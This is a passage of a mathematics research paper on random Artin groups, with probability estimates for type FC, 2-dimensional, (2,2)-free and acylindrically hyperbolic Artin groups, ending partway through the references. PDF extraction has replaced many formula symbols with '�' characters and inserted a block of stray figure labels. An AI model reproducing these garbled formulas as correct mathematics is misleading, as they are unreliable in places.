+Γ = Γ1 ∗k Γ2 | Γ ∈ GN,f(N)�
+≤
+⌊N/2⌋
+�
+j=1
+P
+�
+∃ Γ1, Γ2
+with
+|V (Γ1)| = j
+such that
+Γ = Γ1 ∗k Γ2 | Γ ∈ GN,f(N)�
+=
+⌊N/2⌋
+�
+j=1
+�N
+j
+� �
+1
+f(N)
+�j(N−j)
+≤
+⌊N/2⌋
+�
+j=1
+�
+Ne
+jf(N)N/2
+�j
+≤
+Ne
+f(N)N/2 ·
+�
+�
+�
+�
+1 −
+�
+Ne
+f(N)N/2
+�N/2+1
+1 −
+Ne
+f(N)N/2
+�
+�
+�
+�
+where we used the bound
+�N
+j
+�
+≤
+�
+Ne
+j
+�j
+. Now limN→∞
+Ne
+f(N)N/2 = 0 for any non-decreasing divergent
+function f, so we obtain
+Pf
+�
+AΓ ∈ AJk
+�
+= lim
+N→∞ P
+�
+Γ ∈ Jk | Γ ∈ GN,f(N)�
+= 0 ·
+�1 − 0
+1 − 0
+�
+= 0.
+This proves the main statement of the lemma. The second statement then directly follows from Remark
+2.6.
+□
+
+RANDOM ARTIN GROUPS
+7
+Our next result concerns the class of Artin groups of type FC.
+Lemma 2.8. Let AFC be the family of Artin groups of type FC. Then AFC is uniformly small.
+In
+particular, the family of triangle-free Artin groups, the family of spherical Artin groups and the family of
+RAAGs are also uniformly small.
+Proof. Let f be any non-decreasing divergent function, and let Γ ∈ GN,f(N). We want to compute the
+probability that Γ belongs to FC ∩ GN,f(N). Let a, b anc c be three vertices of Γ. The probability that
+any of the three corresponding coefficients mab, mac and mbc is not 2 nor ∞ is precisely f(N)−2
+f(N) , and
+hence the probability that the three coefficients are not 2 nor ∞ is
+�
+f(N)−2
+f(N)
+�3
+. Note that when this
+happens, the subgraph Γ′ ⊆ Γ spanned by a, b and c is complete but generates an Artin group AΓ′ which
+is non-spherical (the sum of the inverses of the three corresponding coefficients is ≤ 1). In particular, Γ
+is not of type FC. We obtain
+Pf
+�
+AΓ /∈ AFC
+�
+= lim
+N→∞
+#(GN,f(N)\FC)
+#(GN,f(N))
+≥ lim
+N→∞
+�f(N) − 2
+f(N)
+�3
+= lim
+N→∞
+�
+1 −
+2
+f(N)
+�3
+= 1.
+□
+As mentioned in the introduction, there are interesting classes of Artin groups for which the probability
+that a graph taken at random will belong to the class highly depends on the choice of function f. Some
+examples are given through the following theorem.
+Theorem 2.9. Let AF be any family of Artin groups defined by forbidding from their graphs a finite
+number k of coefficients, and consider a function f : N → N. Let AΓ be an Artin group picked at random
+(relatively to f). Then:
+(1) If f(N) ≻ N 2, then AΓ asymptotically almost surely belongs to AF.
+(2) If f(N) ≺ N 2, then AΓ asymptotically almost surely does not belong to AF.
+(3) If f(N) = N 2 then asymptotically we have Pf
+�
+AΓ ∈ AF
+�
+= e−k/2.
+Proof. A graph with N vertices has N(N−1)
+2
+pairs of vertices, each of which is given one of f(N) possible
+coefficients. Hence, direct computations on the possible number of graphs give
+#GN,f(N) = (f(N))
+N(N−1)
+2
+.
+Similarly, we have
+#(F ∩ GN,f(N)) = (f(N) − k)
+N(N−1)
+2
+.
+And thus we obtain
+Pf
+�
+AΓ ∈ AF
+�
+= lim
+N→∞
+#(F ∩ GN,f(N))
+#(GN,f(N))
+= lim
+N→∞
+�f(N) − k
+f(N)
+� N(N−1)
+2
+= lim
+N→∞
+�f(N) − k
+f(N)
+�N2( N−1
+2N )
+.
+If f(N) ≻ N 2, there is a function h with limN→∞ h(N) = ∞ such that f(N) = h(N)N 2 and hence
+Pf
+�
+AΓ ∈ AF
+�
+= lim
+N→∞
+�f(N) − k
+f(N)
+�f(N)�
+N−1
+2Nh(N)
+�
+= lim
+N→∞ e−k�
+N−1
+2Nh(N)
+�
+= 1.
+If f(N) ≺ N 2, there exists a function h with limN→∞ h(N) = ∞ such that f(N)h(N) = N 2 and
+Pf
+�
+AΓ ∈ AF
+�
+= lim
+N→∞
+�f(N) − k
+f(N)
+�f(N)� (N−1)h(N)
+2N
+�
+= lim
+N→∞ e−k� (N−1)h(N)
+2N
+�
+= 0.
+Finally if f(N) = N 2 then
+Pf
+�
+AΓ ∈ AF
+�
+= lim
+N→∞
+�
+N 2 − k
+N 2
+�N2( N−1
+2N )
+= lim
+N→∞ e−k( N−1
+2N ) = e−k/2.
+□
+
+8
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+The previous theorem has many consequences, as it can be applied to the families of large-type, extra-
+large-type, XXL or free-of-infinity Artin groups, for which much is known. Before stating an explicit
+result in Corollary 2.11, we prove the following small lemma:
+Lemma 2.10. Let AF and AH be two families of Artin groups, let f : N → N be a non-decreasing
+divergent function, and suppose that Pf
+�
+AΓ ∈ AH
+�
+= 1. Then
+Pf
+�
+AΓ ∈ AF
+�
+= Pf
+�
+AΓ ∈ AF ∩ AH
+�
+.
+Proof. This is straightforward:
+Pf
+�
+AΓ ∈ AF
+�
+= Pf
+�
+AΓ ∈ AF ∩ AH
+�
++ Pf
+�
+AΓ ∈ AF ∪ AH
+�
+�
+��
+�
+=1
+− Pf
+�
+AΓ ∈ AH
+�
+�
+��
+�
+=1
+= Pf
+�
+AΓ ∈ AF ∩ AH
+�
+.
+□
+Corollary 2.11. Let f : N → N be a function satisfying f(N) ≻ N 2. Then an Artin group AΓ picked
+at random (relatively to f) satisfies any of the following property asymptotically almost surely:
+(1) AΓ is torsion-free;
+(2) AΓ has trivial centre;
+(3) AΓ has solvable word and conjugacy problems;
+(4) AΓ satisfies the K(π, 1)-conjecture;
+(5) The set of parabolic subgroups of AΓ is closed under arbitrary intersections;
+(6) AΓ is CAT(0);
+(7) AΓ is acylindrically hyperbolic;
+(8) AΓ is hierarchically hyperbolic;
+(9) AΓ is systolic and biautomatic;
+(10) AΓ satisfies the Tits Alternative;
+(11) Aut(AΓ) ∼= AΓ ⋊ Out(AΓ), where Out(AΓ) ∼= Aut(Γ) × (Z/2Z) is finite.
+Proof. Let AK be the class of XXL free-of-infinity Artin groups, and let AL := AIrr ∩ ACon ∩ AK. Using
+Lemma 2.7 and Lemma 2.10 we can see that Pf
+�
+AΓ ∈ AL
+�
+= Pf
+�
+AΓ ∈ AK
+�
+. By Theorem 2.9, an Artin
+group AΓ picked at random (relatively to f) is asymptotically almost surely in AL. The various results
+given in Conjecture 2.2 concern families of Artin groups that all contain the family AL. In particular,
+every Artin group in AL satisfies the 11 points of the Corollary.
+□
+3. Two-dimensional Artin groups.
+This section aims at studying from our probabilistic point of view the family of 2-dimensional Artin
+groups. This family is particularly important in the study of Artin groups, and many authors in the
+literature have obtained strong results for this class (see Conjecture 2.2).
+Our goal will be to show that if f(N) ≻ N 3/2 then asymptotically almost surely a random Artin group
+(relative to f) will be 2-dimensional and if f(N) ≺ N 3/2 then asymptotically almost surely a random
+Artin group (relative to f) will not be 2-dimensional. In particular, we will be able to improve the result
+of Corollary 2.11, thus proving Theorem 1.4.
+The condition of being 2-dimensional (see Definition 2.1.(1)) is quite specific, which makes it hard to
+compute the “size” of the family. As it turns out, the size of this family is comparable to the size of
+another family of Artin groups, which will turn out to be easier to compute (see Lemma 3.2 and Theorem
+3.3). This other family resembles the family introduced in [Blu21]. We introduce it thereafter:
+Definition 3.1. We say an Artin group AΓ is (2, 2)–free if Γ does not have any two adjacent edges
+labelled by 2. We denote by AB the family of (2, 2)-free Artin groups.
+The following lemma is a key result. It will allow us to restrict to the study of (2, 2)-free Artin groups,
+as asymptotically this family has the same size as the family AD of 2-dimensional Artin groups.
+Lemma 3.2. For all non-decreasing divergent functions f : N → N, we have:
+• Pf
+�
+AΓ ∈ AD
+�
+≤ Pf
+�
+AΓ ∈ AB
+�
+;
+
+RANDOM ARTIN GROUPS
+9
+• Further, if f(N) ≻ N, then Pf
+�
+AΓ ∈ AD
+�
+= Pf
+�
+AΓ ∈ AB
+�
+.
+Proof. The probability that a defining graph Γ picked at random gives rise to a 2-dimensional Artin
+group can be found by conditioning on the event “Γ ∈ B”:
+(∗)
+P
+�
+Γ ∈ D | Γ ∈ GN,f(N)�
+= P
+�
+Γ ∈ D | (Γ ∈ B) ∩ (Γ ∈ GN,f(N))
+�
+P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
++ P
+�
+Γ ∈ D | (Γ ̸∈ B) ∩ (Γ ∈ GN,f(N))
+�
+P
+�
+Γ ̸∈ B | Γ ∈ GN,f(N)�
+Note that once we have two adjacent edges e1, e2 labelled by 2, then the probability that the triangle
+spanned by {e1, e2} generates an Artin groups of spherical type is exactly the probability that the last
+edge is not labelled by ∞. This probability is f(N)−1
+f(N) , hence we have
+P
+�
+Γ ∈ D | (Γ ̸∈ B) ∩ (Γ ∈ GN,f(N))
+�
+≤ 1 − f(N) − 1
+f(N)
+=
+1
+f(N).
+Whence we get the following upper bound for (∗):
+P
+�
+Γ ∈ D | Γ ∈ GN,f(N)�
+≤ P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
++ P
+�
+Γ ̸∈ B | Γ ∈ GN,f(N)�
+·
+1
+f(N).
+We now deal with the lower bound. The probability that a given triangle ∆ is not of spherical type is
+the quotient
+# ways that ∆ can be spherical
+# possible coefficients on ∆
+.
+(∗∗)
+In our case, it is given that AΓ is (2, 2)-free, so the only triangles which are not of spherical type are of
+the form (2, 3, 3); (2, 3, 4) or (2, 3, 5). When considering the possible permutations of the order of the
+coefficients, this gives 15 possibilities. This gives the numerator of (∗∗).
+A clear upper bound for the denominator of (∗∗) is f(N)3. However, it may not be equal to f(N)3,
+as the condition of being (2, 2)-free coming from other edges in the graph could force some edges of ∆ to
+not be labelled by 2. That said, the only triplet of coefficients for ∆ that could be forbidden by adjacent
+edges would be those containing at least one edge labelled with 2. This number is bounded by 3N, thus
+the denominator of (∗∗) admits f(N)3 − 3N as lower bound.
+Putting everything together, we obtain
+15
+f(N)3 ≤ # ways that ∆ can be spherical
+# possible coefficients on ∆
+≤
+15
+f(N)3 − 3N .
+(∗ ∗ ∗)
+Hence, by an union bound we get:
+P
+�
+Γ ̸∈ D | (Γ ∈ B) ∩ (Γ ∈ GN,f(N))
+�
+≤
+�
+∆ triangle in Γ
+P
+�
+∆ is of spherical type | (Γ ∈ B) ∩ (Γ ∈ GN,f(N))
+�
+≤
+�N
+3
+�
+15
+f(N)3 − 3N .
+Therefore:
+P
+�
+Γ ∈ D | Γ ∈ GN,f(N)�
+≥
+�
+1 −
+�N
+3
+�
+15
+f(N)3 − 3N
+�
+P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
+.
+(∗ ∗ ∗∗)
+Now for any non-decreasing divergent function f we have that
+1
+f(N) → 0 hence
+Pf
+�
+AΓ ∈ AD
+�
+= lim
+N→∞ P
+�
+Γ ∈ D | Γ ∈ GN,f(N)� (∗)
+≤
+lim
+N→∞ P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
+= Pf
+�
+AΓ ∈ AB
+�
+.
+If f(N) ≻ N it is not hard to see that
+lim
+N→∞
+��N
+3
+�
+15
+f(N)3 − 3N
+�
+= 0.
+
+10
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+This means that
+Pf
+�
+AΓ ∈ AD
+�
+= lim
+N→∞ P
+�
+Γ ∈ D | Γ ∈ GN,f(N)� (∗∗∗∗)
+≥
+lim
+N→∞ P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
+= Pf
+�
+AΓ ∈ AB
+�
+.
+□
+We now move towards determining for which (non-decreasing divergent) functions an Artin group
+picked at random is asymptotically almost surely 2-dimensional, or not 2-dimensional. In view of Lemma
+3.2, looking at (2, 2)-free Artin groups will be enough to give a conclusion for 2-dimensional Artin groups.
+The result we want to prove is the following:
+Theorem 3.3. Let f : N → N, and let AΓ be an Artin group picked at random (relatively to f). Then:
+(1) If f(N) ≻ N 3/2, then asymptotically almost surely AΓ is 2-dimensional.
+(2) If f(N) ≺ N 3/2, then asymptotically almost surely AΓ is not 2-dimensional.
+(3) If f(N) = N 3/2 then then Pf
+�
+AΓ ∈ D
+�
+≤ 2/3.
+Proof. Let f be any non-decreasing, divergent function. We need to compute Pf
+�
+AΓ ∈ AD
+�
+. In view of
+Lemma 3.2, it is enough to compute Pf
+�
+AΓ ∈ AB
+�
+, i.e. the probability that an Artin group AΓ picked at
+random is (2, 2)-free. To do this, we will use the second moment method.
+Let us consider a graph Γ ∈ GN,f(N). For any ordered triplet (v1, v2, v3) of distinct vertices of Γ, we
+let I(v1,v2,v3) : GN,f(N) → {0, 1} be the random variable which takes 1 on Γ ∈ GN,f(N) precisely when
+(v1, v2, v3) spans a triangle with mv1,v2 = mv1,v3 = 2. We let
+X =
+�
+�
+�
+(v1,v2,v3)∈V (Γ)3
+I(v1,v2,v3)
+�
+� : GN,f(N) → N
+where the sum is taken over all triplets of distinct vertices. The variable X counts the number of pairs
+of adjacent edges labelled by a 2, twice (because of the permutation of these edges).
+We can compute the expectation E
+�
+I(v1,v2,v3)
+�
+= f(N)−2 and hence
+E
+�
+X
+�
+=
+�
+(v1,v2,v3)
+E
+�
+I(v1,v2,v3)
+�
+= N(N − 1)(N − 2)f(N)−2
+∼ N 3f(N)−2.
+Now, we use the second moment method, as in ([CF12], Theorem 6):
+P
+�
+X ̸= 0
+�
+≥ E
+�
+X
+�2
+E
+�
+X2�.
+We have already computed E
+�
+X
+�
+, so we now compute E
+�
+X2�
+by dividing into several cases the sum
+X2 =
+�
+I(v1,v2,v3)I(w1,w2,w3).
+Note that the sum is taken over all ordered triplets (v1, v2, v3) and (w1, w2, w3) of vertices, where the
+vi’s are distinct, and the wi’s are distinct. In a triangle (v1, v2, v3) such that mv1,v2 = mv1,v3 = 2, we
+shall call v1 the central vertex of the triangle.The different cases are treated below. They can be seen
+in Figure 3.
+Case 1: Let X1 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that no vertex appears in both
+triples. Then
+E
+�
+X1
+�
+=
+N!
+(N − 6)!f(N)−4 ∼ N 6f(N)−4.
+Case 2: Let X2 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+exactly one vertex and the vertex they share is central in both triangles (i.e. v1 = w1). Then we have
+E
+�
+X2
+�
+=
+N!
+(N − 5)!f(N)−4 ∼ N 5f(N)−4.
+
+RANDOM ARTIN GROUPS
+11
+Case 3: Let X3 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+exactly one vertex, where this vertex is the central vertex for one triangle and not a central vertex for
+the other triangle (for example v2 = w1). In this case, we get:
+E
+�
+X3
+�
+= 4
+N!
+(N − 5)!f(N)−4 ∼ 4N 5f(N)−4.
+Case 4: Let X4 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+exactly one vertex, where this vertex is not central for either triangle (for example v2 = w2). Then
+E
+�
+X4
+�
+= 4
+N!
+(N − 5)!f(N)−4 ∼ 4N 5f(N)−4.
+Case 5: Let X5 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+exactly two vertices and these two vertices are not central for either triangle (for example v2 = w2 and
+v3 = w3). In this case
+E
+�
+X5
+�
+= 2
+N!
+(N − 4)!f(N)−4 ∼ 2N 4f(N)−4.
+Case 6: Let X6 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+exactly two vertices and one of these is central in both triangles and the other is not (for example v1 = w1
+and v3 = w2). In this case
+E
+�
+X6
+�
+= 4
+N!
+(N − 4)!f(N)−3 ∼ 4N 4f(N)−3.
+Case 7: Let X7 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+exactly two vertices where one of these is central for the triangle (v1, v2, v3) but not for (w1, w2, w3), and
+the other vertex is central for the triangle (w1, w2, w3) but not for (v1, v2, v3) (for example v1 = w3 and
+w1 = v3). In this case we have:
+E
+�
+X7
+�
+= 4
+N!
+(N − 4)!f(N)−3 ∼ 4N 4f(N)−3.
+Case 8: Let X8 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+all three vertices, and such the central vertices of both triangles are the same (i.e. v1 = w1). In this case,
+we have:
+E
+�
+X8
+�
+= 2
+N!
+(N − 3)!f(N)−2 ∼ 2N 3f(N)−2.
+Case 9: Let X9 denote the sum of products I(v1,v2,v3)I(w1,w2,w3) such that these two triangles share
+all three vertices, and such that the central vertex of the first triangle is not the central vertex of the
+second triangle (for example v1 = w2). Then the three edges of the triangle must be labelled by a 2, and
+we get
+E
+�
+X9
+�
+= 4
+N!
+(N − 3)!f(N)−3 ∼ 2N 3f(N)−3.
+Therefore, we have
+E
+�
+X2�
+E
+�
+X
+�2 =
+8
+�
+i=1
+E
+�
+Xi
+�
+E
+�
+X
+�2
+∼ N 6f(N)−4 + 9N 5f(N)−4 + 2N 4f(N)−4 + 8N 4f(N)−3 + 2N 3f(N)−3 + 2N 3f(N)−2
+N 6f(N)−4
+∼ 1 + 9
+N + 2
+N 2 + 8f(N)
+N 2
++ 4f(N)
+N 3
++ 2f(N)2
+N 3
+.
+Hence, if f(N) ≺ N 3/2 then by definition there exists a non-decreasing divergent function h such that
+f(N)h(N) = N 3/2. In this case we get:
+
+12
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+Figure 2. From top-left to bottom-right: the 9 cases described in the proof of Theorem
+3.3. The edges that are not explicitly labelled by 2 can be labelled by any coefficient,
+including ∞.
+P
+�
+X ̸= 0
+�
+≥
+�
+�E
+�
+X2�
+E
+�
+X
+�2
+�
+�
+−1
+∼
+�
+1 + 9
+N + 2
+N 2 +
+8
+h(N)N 1/2 +
+4
+h(N)N 3/2 +
+2
+h(N)2
+�−1
+.
+When f(N) ≺ N 3/2, we obtain
+Pf
+�
+AΓ ∈ AB
+�
+= lim
+N→∞ P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
+= lim
+N→∞ P
+�
+X = 0
+�
+= 1 − lim
+N→∞ P
+�
+X ̸= 0
+�
+= 0.
+Thus asymptotically almost surely AΓ is not (2, 2)–free. In view of Lemma 3.2, this also means that
+asymptotically almost surely AΓ is not of dimension 2, this proves item 2 in Theorem 3.3.
+We note that the above calculation allows us to find a lower bound for Pf
+�
+AΓ ∈ AB
+�
+at f(N) = N 3/2.
+Indeed, this is equivalent to saying that h(N) = 1 and hence we get P
+�
+X ̸= 0
+�
+≳
+1
+3, and so at
+f(N) = N 3/2 we have Pf
+�
+AΓ ∈ AB
+�
+≤ 2
+3. Hence by Lemma 3.2, this proves item 3 in the Theorem.
+We note that P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
+= 1 − P
+�
+X ≥ 1
+�
+and by the Markov inequality:
+P
+�
+X ≥ 1
+�
+≤ E
+�
+X
+�
+≤ N 3f(N)−2.
+Hence if f(N) ≻ N 3/2 then we can write f(N) = N 3/2g(N) for some non-decreasing divergent function
+g : N → N and in this case
+P
+�
+X ≥ 1
+�
+≤
+1
+g(N)2 .
+Therefore, for f(N) ≻ N 3/2 we have
+Pf
+�
+AΓ ∈ AB
+�
+= lim
+N→∞ P
+�
+Γ ∈ B | GN,f(N)�
+= 1 − lim
+N→∞ P
+�
+X ≥ 1
+�
+≥ 1 − lim
+N→∞
+1
+g(N)2 = 1.
+In particular, asymptotically almost surely AΓ is (2, 2)–free. By applying Lemma 3.2 (as f(N) ≻ N),
+we get that asymptotically almost surely AΓ is 2-dimensional. This proves item 1 and hence Theorem
+3.3.
+□
+We are now able to prove a refinement of Corollary 2.11:
+
+02
+01
+otm
+W2
+2
+2
+2
+2
+V2
+2
+2
+2
+2
+2
+2
+2
+2
+03
+m
+w3
+W3
+U3
+V2
+U3
+W3
+V2
+01
+U1
+W1
+2
+2
+2
+2
+2
+02
+2
+2
+U1
+02
+2
+W2
+2
+2
+U3
+W3
+03
+V3
+01
+01
+Im
+1
+W2
+=
+2
+02
+W2
+2
+2
+2
+2
+2
+2
+Im
+V2
+U3
+U2
+2
+03RANDOM ARTIN GROUPS
+13
+Corollary 3.4. Let f : N → N be a function satisfying f(N) ≻ N 3/2. Then an Artin group AΓ picked
+at random (relatively to f) satisfies any of the following property asymptotically almost surely:
+(1) AΓ is torsion-free;
+(2) AΓ has trivial centre;
+(3) AΓ has solvable word and conjugacy problems;
+(4) AΓ satisfies the K(π, 1)-conjecture;
+(5) The set of parabolic subgroups of AΓ is closed under arbitrary intersections;
+(6) AΓ is acylindrically hyperbolic;
+(7) AΓ satisfies the Tits Alternative.
+Proof. By Theorem 3.3, AΓ is asymptotically almost surely 2-dimensional. Using Lemma 3.2, AΓ is also
+asymptotically almost surely (2, 2)-free. Using Lemma 2.7, we also know that AΓ is asymptotically almost
+surely irreducible. Using Lemma 2.10 twice, this ensures that AΓ is asymptotically almost surely in the
+class
+AK := AIrr ∩ AD ∩ AB.
+Note that the results given in Conjecture 2.2 for the points 1, 2, 3, 4, 5, 7 and 10 concern families of
+Artin groups that all contain AK. In particular, every Artin group of AK satisfies the 7 points of this
+Corollary.
+□
+What happens at f(N) = N 3/2 ?
+Finding out the exact probability for an Artin group to be 2-dimensional (or equivalently, (2, 2)–free)
+at f(N) = N 3/2 requires more work. In Theorem 3.3, we gave an upper bound for this probability. The
+goal of the following lemma is to give an explicit formula for the value of Pf
+�
+AΓ ∈ AB
+�
+at f(N) = N 3/2.
+Later, we give a conjecture on the exact value.
+Lemma 3.5. For all non-decreasing, divergent functions f : N → N we have that
+Pf
+�
+AΓ ∈ AB
+�
+= lim
+N→∞
+�f(N) − 1
+f(N)
+�(
+N
+2)
+�
+�
+⌊N/2⌋
+�
+k=1
+N!(f(N) − 1)−k
+(N − 2k)! k! 2k + 1
+�
+� .
+Proof. Let Ek be the family of defining graphs that have exactly k edges labelled by a 2, and consider
+the associated family AEk of Artin groups. Note that each edge is attached to two vertices, so by the
+pigeonhole principle, if k > N/2 then Pf
+�
+Γ ∈ B ∩ Ek
+�
+= 0. Hence
+P
+�
+Γ ∈ B | Γ ∈ GN,f(N)�
+=
+⌊N/2⌋
+�
+k=0
+P
+�
+Γ ∈ B ∩ Ek |Γ ∈ GN,f(N)�
+.
+As usual, the total number of graphs in GN,f(N) is f(N)(
+N
+2). On the other hand, we must compute
+how many of these graphs have exactly k edges labelled by a 2, while these edges are never adjacent.
+First of all, when k = 0, we have P
+�
+Γ ∈ B ∩ Ek | Γ ∈ GN,f(N)�
+=
+�
+f(N)−1
+f(N)
+�(
+N
+2)
+.
+For the case when 0 < k ≤ ⌊N/2⌋, we look at how many ways we have of placing the k edges labelled
+by a 2. For the first such edge, we have
+�N
+2
+�
+choices. The two vertices of the first edge must not appear
+in any other edge labelled by a 2, so for the second edge we only have
+�N−2
+2
+�
+choices left. This goes on
+until the k-th edge labelled by a 2, for which we have
+�N−2(k−1)
+2
+�
+choices. As the order in which we have
+chosen these edges do not matter, we must divide this product by k!. Now for the remaining
+�N
+2
+�
+− k
+edges, we can use any label other than a 2. Hence we multiply the previous product by (f(N) − 1)(
+N
+2)−k.
+Hence, for 0 < k ≤ ⌊N/2⌋, we have
+P
+�
+Γ ∈ B ∩ Ek | Γ ∈ GN,f(N)�
+= (f(N) − 1)(
+N
+2)−k · �k−1
+i=0
+�N−2i
+2
+�
+f(N)(
+N
+2) · k!
+.
+
+14
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+Therefore:
+Pf
+�
+AΓ ∈ AB
+�
+= lim
+N→∞
+⌊N/2⌋
+�
+k=1
+P
+�
+Γ ∈ B ∩ Ek | Γ ∈ GN,f(N)�
++ P
+�
+Γ ∈ B ∩ E0 | Γ ∈ GN,f(N)�
+= lim
+N→∞
+⌊N/2⌋
+�
+k=1
+(f(N) − 1)(
+N
+2)−k · �k−1
+i=0
+�N−2i
+2
+�
+f(N)(
+N
+2) · k!
++
+�f(N) − 1
+f(N)
+�(
+N
+2)
+= lim
+N→∞
+�f(N) − 1
+f(N)
+�(
+N
+2)
+�
+�
+⌊N/2⌋
+�
+k=1
+N!(f(N) − 1)−k
+(N − 2k)! k! 2k + 1
+�
+�
+where we go from the second to the third line by noting that
+k−1
+�
+i=0
+�N − 2i
+2
+�
+= 1
+2k N(N − 1)(N − 2) . . . (N − 2(k − 1))(N − 2(k − 1) − 1) =
+N!
+(N − 2k)!2k .
+□
+Now, by Lemma 3.2 at f(N) = N 3/2 we have Pf
+�
+AΓ ∈ AD
+�
+= Pf
+�
+AΓ ∈ AB
+�
+, hence Lemma 3.5 also
+holds for Pf
+�
+AΓ ∈ AD
+�
+. We have computed this expression in Python for N up to 190, which leads us to
+the following conjecture.
+Conjecture 3.6. For f(N) = N 3/2 we have:
+Pf
+�
+AΓ ∈ AB] = 1 − e−1.
+In particular, we also have:
+Pf
+�
+AΓ ∈ AD
+�
+= 1 − e−1.
+4. Acylindrical hyperbolicity and centres.
+Two open questions in the study of Artin groups is whether all irreducible non-spherical Artin groups
+are acylindrically hyperbolic and have trivial centres (see Conjecture 2.2). In this section, we study these
+two aspects of Artin groups for another family of Artin groups, that we will denote ACC. The families
+of Artin groups studied in Section 2 and 3 are very large when f(N) grows fast enough compared to N.
+While the spirit of this section resembles that of Sections 2 and 3, ACC will turn out to be very large
+when f(N) grows slowly enough compared to N.
+Definition 4.1. A graph Γ is said to be a cone if it has a join decomposition as a subgraph consisting
+of a single vertex v0 and a subgraph Γ′ such that Γ = v0 ∗ Γ′. Let C be the class of defining graphs that
+are cones and CC the class of defining graphs which are not cones.
+Recall that Irr is the class of irreducible graphs. By [KO22, Theorem 1.4], we have that if Γ has at
+least 3 vertices, is irreducible and is not a cone then AΓ is acylindrically hyperbolic. Hence it suffices to
+find the probability that a random Artin group is irreducible and is not a cone.
+Proposition 4.2. For all α ∈ (0, 1) and all non-decreasing functions f(N) ≺ N 1−α we have that
+Pf
+�
+AΓ ∈ ACC
+�
+= 1.
+Proof. Fix α ∈ (0, 1) and f(N) ≺ N 1−α a non-decreasing divergent function. Then, by definition, there
+exists a non-decreasing divergent function h such that f(N)h(N) = N 1−α.
+
+RANDOM ARTIN GROUPS
+15
+By the definition of a cone and by a union bound, we get:
+P
+�
+Γ ∈ C | Γ ∈ GN,f(N)�
+≤
+�
+v0∈V (Γ)
+P
+�
+∀u ∈ V (Γ) − v0 : mu,v0 ̸= ∞ | Γ ∈ GN,f(N)�
+=
+�
+v0∈V (Γ)
+�f(N) − 1
+f(N)
+�N−1
+= N
+�f(N) − 1
+f(N)
+�N−1
+= N
+��f(N) − 1
+f(N)
+�f(N)�h(N)N α �
+f(N)
+f(N) − 1
+�
+.
+Thus:
+Pf
+�
+AΓ ∈ AC
+�
+= lim
+N→∞ P
+�
+Γ ∈ C | Γ ∈ GN,f(N)�
+= lim
+N→∞ Ne−N αh(N) = 0.
+Hence for f(N) ≺ N 1−α we have Pf
+�
+AΓ ∈ ACC
+�
+= 1, proving the proposition.
+□
+Corollary 4.3. Let α ∈ (0, 1) and let f(N) ≺ N 1−α be a non-decreasing divergent function. Then an
+Artin group picked at random (relatively to f) asymptotically almost surely is acylindrically hyperbolic
+and has a trivial centre.
+Proof. We note that by Lemma 2.7 and Lemma 2.10 we have Pf
+�
+AΓ ∈ AIrr ∩ ACC
+�
+= Pf
+�
+AΓ ∈ ACC
+�
+.
+As we noted above, by [KO22, Theorem 1.4], if Γ is irreducible and not a cone then AΓ is acylindrically
+hyperbolic. Hence, by Proposition 4.2, for a function f as in the statement of the Corollary, we get that
+a random Artin group (relatively to f) is asymptotically almost surely irreducible and a cone, hence
+asymptotically almost surely acylindrically hyperbolic.
+Further, by [CMW19, Theorem 3.3], we have that if Γ is irreducible and not a cone then AΓ has
+trivial centre. Hence a random Artin group (relatively to f) asymptotically almost surely has a trivial
+centre.
+□
+Let α ∈ (0, 1), by Corollary 4.3 and Corollary 3.4-6, we have shown that for all non-decreasing divergent
+functions f such that either:
+• f(N) ≺ N 1−α
+• f(N) ≻ N 3/2
+a random Artin group AΓ (relatively to f) is asymptotically almost surely acylindrically hyperbolic and
+has trivial centre. This motivates the following:
+Question: For which non-decreasing divergent functions f do we have that a random Artin group
+(relatively to f) is asymptotically almost surely acylindrically hyperbolic and has trivial centre?
+References
+[BHS17]
+Jason Behrstock, Mark F. Hagen, and Alessandro Sisto. Thickness, relative hyperbolicity, and randomness in
+Coxeter groups. Algebr. Geom. Topol., 17(2):705–740, 2017. With an appendix written jointly with Pierre-
+Emmanuel Caprace.
+[Blu21]
+Martin Axel Blufstein. Parabolic subgroups of two-dimensional artin groups and systolic-by-function complexes,
+2021.
+[CD95a]
+Ruth Charney and Michael W. Davis. The K(π, 1)-problem for hyperplane complements associated to infinite
+reflection groups. J. Amer. Math. Soc., 8(3):597–627, 1995.
+[CD95b]
+Ruth Charney and Michael W. Davis. The K(π, 1)-problem for hyperplane complements associated to infinite
+reflection groups. J. Amer. Math. Soc., 8(3):597–627, 1995.
+[CF12]
+Ruth Charney and Michael Farber. Random groups arising as graph products. Algebr. Geom. Topol., 12(2):979–
+995, 2012.
+[CMV22]
+Mar´ıa Cumplido, Alexandre Martin, and Nicolas Vaskou. Parabolic subgroups of large-type artin groups. Math-
+ematical Proceedings of the Cambridge Philosophical Society, page 1–22, 2022.
+[CMW19] Ruth Charney and Rose Morris-Wright. Artin groups of infinite type: trivial centers and acylindrical hyperbol-
+icity. Proc. Amer. Math. Soc., 147(9):3675–3689, 2019.
+
+16
+ANTOINE GOLDSBOROUGH AND NICOLAS VASKOU
+[Dei20]
+Angelica Deibel. Random Coxeter groups. Internat. J. Algebra Comput., 30(6):1305–1321, 2020.
+[Hae22]
+Thomas Haettel. XXL type Artin groups are CAT(0) and acylindrically hyperbolic. Ann. Inst. Fourier (Greno-
+ble), 72(6):2541–2555, 2022.
+[HMS21]
+Mark Hagen, Alexandre Martin, and Alessandro Sisto. Extra-large type artin groups are hierarchically hyperbolic,
+2021.
+[HO19]
